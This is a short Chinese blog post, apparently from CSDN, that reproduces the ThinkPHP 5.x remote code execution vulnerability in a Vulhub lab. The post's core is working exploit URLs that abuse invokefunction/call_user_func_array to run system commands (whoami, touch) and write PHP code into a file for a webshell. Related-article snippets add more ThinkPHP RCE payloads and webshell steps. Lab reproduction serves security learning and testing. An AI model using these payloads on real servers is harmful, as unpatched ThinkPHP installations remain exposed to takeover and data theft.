thinkphp 5-rce（rce漏洞getshell）

最新推荐文章于 2024-11-20 17:31:00 发布
最新推荐文章于 2024-11-20 17:31:00 发布
阅读量4.1k 收藏
点赞数
文章标签： 安全 web安全 php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_51692662/article/details/127673160
版权
本文介绍如何在Vulhub靶场上利用ThinkPHP的远程代码执行漏洞进行攻击测试，包括创建文件和写入PHP代码的具体步骤。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

 vulhub靶场

http://xxxxx:8080/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

 验证漏洞

linux系统，可以用touch命令创建文件

http://xxxxx:8080/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=touch mm.php


再用echo写入一句话

http://xxxxx:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo <?php phpinfo();?> >> mm.php

查看写入成功

 

Thinkphp 5.1.41 getshell
qq_41619801的博客
06-23 3199
首先需要实现反序列化，找到传参数的位置。影响thinkphp 5.1.37——5.1.41测试可以自己实现一个函数为了实现反序列化自动执行的魔法函数，要找到一个析构函数，thinkphp\library\think\process\pipes\Windows.php中有一个继续跟进removeFiles()file_exists会将$filename当作字符串进行处理，触发任意类的__toString()这时候需要找到一个__toString函数能继续向下执行的类，全局搜索。
thinkphp 5.0.3 rce getshell_关于ThinkPHP的一些渗透方式
weixin_39879674的博客
11-22 1887
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架，可以支持Windows/Unix/Linux等服务器环境，正式版需要PHP5.0以上版本支持，支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。Runtime日志在ThinkPHP3的版本中，入口文件index.php是跟应用目录、框架目录在同一个目录下的，在DEBUG开启的状态下，会在runtime生成日志文件，...
ThinkPHP 5.x 远程命令执行漏洞复现（GetShell）
热门推荐
北风
12-12 1万+
注：转载请注明出自：https://blog.csdn.net/qq_36711453/article/details/84977739 一、简介 ThinkPHP官方2018年12月9日发布重要的安全更新，修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新，由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞，受影响的版本包括5.0和5.1...
Thinkphp5.1 反序列化漏洞复现
feng的博客
02-18 4830
前言 开始tp5.1的反序列化链的复现，这个链我上学期10月份的时候尝试复现过，但是当时的自己代码审计能力，反序列化的能力也都实在太菜，不足以理解这个链。这个链相比yii2，laravel5.7,5.8的那些链，长度和难度都提高了很多，思维的跳跃也很，自己也要想办法把它啃下来。 源码下载： thinkphp5源码 或者去github上下载也可以。 然后写个控制器： <?php namespace app\index\controller; class Unserialize { pub
Thinkphp5x远程执行命令及getshell
2201_75891821的博客
08-07 827
靶场：vulhub/thinkphp/5-rcedocker-compose up -d #启动环境。
php_rce ，thinkPHP—v5.0.20，getshell
最新发布
二进制忍者村
11-20 175
蚁剑连接，注意访问写入的文件：/test.php。在根目录下找到flag。
ThinkPHP5 5.0.23-rce远程代码执行漏洞复现
qq_45079558的博客
09-08 428
其版本5中，由于框架对控制器名没有进行足够的检测，会导致在没有开启强制路由的情况下可执行任意方法，从而导致远程命令执行漏洞。通过echo命令写入 Webshell 文件,首先将一句话木马进行Base64 编码。判断是否存在漏洞：访问/index.php?s=captcha页面，会出现如下报错。切换目录到vulhub/thinkphp/5.0.23-rce下。使用HackBar 插件发送 POST 请求。端口为:8080,访问网站，搭建成功。访问shell.php，使用蚁剑连接。
【thinkphp漏洞复现】2-RCE+5.0.23-RCE+5-RCE远程代码执行漏洞+in-sqlinjectionSQL注入漏洞
serendipity1130的博客
09-01 1785
参考文章：https://blog.csdn.net/weixin_43071873/article/details/110084577 一、2-RCE 漏洞详情： ThinkPHP是一个免费开源的一个PHP开发框架。ThinkPHP2.x版本中，使用preg_replace的/e模式匹配路由： 导致用户的输入参数被插入双引号中执行，造成任意代码执行漏洞。 preg_replace(‘正则规则’,‘替换字符’,‘目标字符’) 如果目标字符存在符合正则规则的字符，那么就替换为替换字符，如果此时
ThinkPHP2-RCE漏洞复现
weixin_73180072的博客
09-10 1022
这个函数会接收用户的输入，并将其存储在一个缓存文件中，以供后续使用。然而，由于没有对用户输入进行适当的过滤和验证，攻击者可以构造一个包含恶意代码的输入数据，并将其提交给该函数。当其他用户访问该应用程序时，这些恶意代码就会被执行，攻击者就可以控制整个服务器。造成该漏洞的原因在于ThinkPHP 2.x版本中，某些函数没有对用户输入进行严格的过滤和验证，导致攻击者可以通过构造恶意输入来绕过安全防护，执行恶意代码。攻击者通过利用该漏洞，可以在服务器上执行任意PHP代码，从而控制服务器。成功连接，获取shell。
thinkphp/5.0.23-rce漏洞复现
qq_46804551的博客
04-22 1058
环境搭建 访问your-ip:8080 环境搭建成功 漏洞复现 thinkphp 5.0.23（完整版）debug模式 32、(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx thinkphp 5.0.23(完整版) 33、（post）public/index.php?s=captcha (data) _method=__co
thinkphp 一键漏洞检测
12-09
thinkphp 一键漏洞检测,V3.2.0~V5.1.23,都可进行测试
ThinkPHP_getshell-v2.zip
11-11
验证think PHP5版本漏洞并可以getshell
vulhub中ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
yougexiaojiuguan的博客
03-06 1313
漏洞复现过程的记录
thinkphp远程代码执行漏洞
玄道的网安博客
12-11 1万+
0x00前言 近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075，其中修复了一处getshell漏洞。 影响范围：5.x &lt; 5.1.31, &lt;= 5.0.23 危害：远程代码执行 0x01漏洞原理 首先我们来看url http://localhost/public/index.php?s=index/\think\Cont...
THINKPHP5 getshell
公众号shadow sock7
12-11 8036
参考： https://mp.weixin.qq.com/s/oWzDIIjJS2cwjb4rzOM4DQ https://www.anquanke.com/post/id/167653 http://www.vulnspy.com/cn-thinkphp-5.x-rce/thinkphp_5.x_(v5.0.23及v5.1.31以下版本)_远程命令执行漏洞利用（getshell）/ ...
BUUCTF之[ThinkPHP]5-Rce WP及getShell的新姿势
克格莫（有需要的私信）
10-10 3190
题目给了提示： https://github.com/vulhub/vulhub/blob/master/thinkphp/5-rce 照上面的POC做就能在phpinfo中找到flag，此处不再赘述。 拿到flag之后我想通过这个payload拿一波webshell，故使用以下POC写一句话,先创建一个php文件： http://xxxxxxxxx/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_
ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞
Ambulong的博客
12-11 5632
ThinkPHP官方2018年12月9日发布重要的安全更新，修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新，由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞，受影响的版本包括5.0和5.1版本，推荐尽快更新到最新版本。 在线环境地址：https://www.vulnspy.com/cn-thinkphp-5.x-rce/ 执行phpi...
thinkphp5.0和5.1的getshell漏洞
爱钓鱼的程序猫
01-28 6224
前几天网站被提权了，网站才建没几天，应该不会有人故意为之，可能是批量扫描getshell的， 为了方便我找的是开源系统thinkcmf建了博客，看着挺不错的，因为thinkcmf用的是thinkphp5.0的框架开发的，我到thinkphp.cn上去看了一下，原来有一个提权漏洞。 libaray/think/app.php文件中模块，控制器，方法使用的是/来区分开来。 然后并没有对控制器进行...
Thinkphp5 文件包含漏洞
feng的博客
03-09 1720
前言 本次漏洞存在于 ThinkPHP 模板引擎中，在加载模版解析变量时存在变量覆盖问题，而且程序没有对数据进行很好的过滤，最终导致 文件包含漏洞 的产生。漏洞影响版本： 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10。 创建： composer create-project topthink/think=5.0.18 thinkphp5.0.18 "require": { "php": ">=5.
thinkphp2-rce
07-28
ThinkPHP 2.x版本中存在远程代码执行（RCE）漏洞。该漏洞可以通过构造恶意的请求来执行任意的PHP代码。具体来说，漏洞出现在ThinkPHP框架中的路由处理函数中，使用了不安全的preg_replace函数，并且使用了/e模式进行正则表达式匹配。攻击者可以通过在请求中注入恶意的代码来执行任意的PHP代码。这个漏洞在ThinkPHP框架的Dispatcher类中的102行被触发。\[2\]\[3\] 为了修复这个漏洞，建议升级到最新版本的ThinkPHP框架，或者手动修复代码中的漏洞。具体修复方法包括使用更安全的正则表达式替代preg_replace函数，并且避免使用/e模式进行正则表达式匹配。此外，还应该对用户输入进行严格的过滤和验证，以防止恶意代码的注入。 #### 引用[.reference_title] - *1* [【漏洞复现】[ThinkPHP]2-Rce](https://blog.csdn.net/Mr_atopos/article/details/124907676)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [ThinkPHP2-RCE漏洞复现](https://blog.csdn.net/qq_51459600/article/details/125179451)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值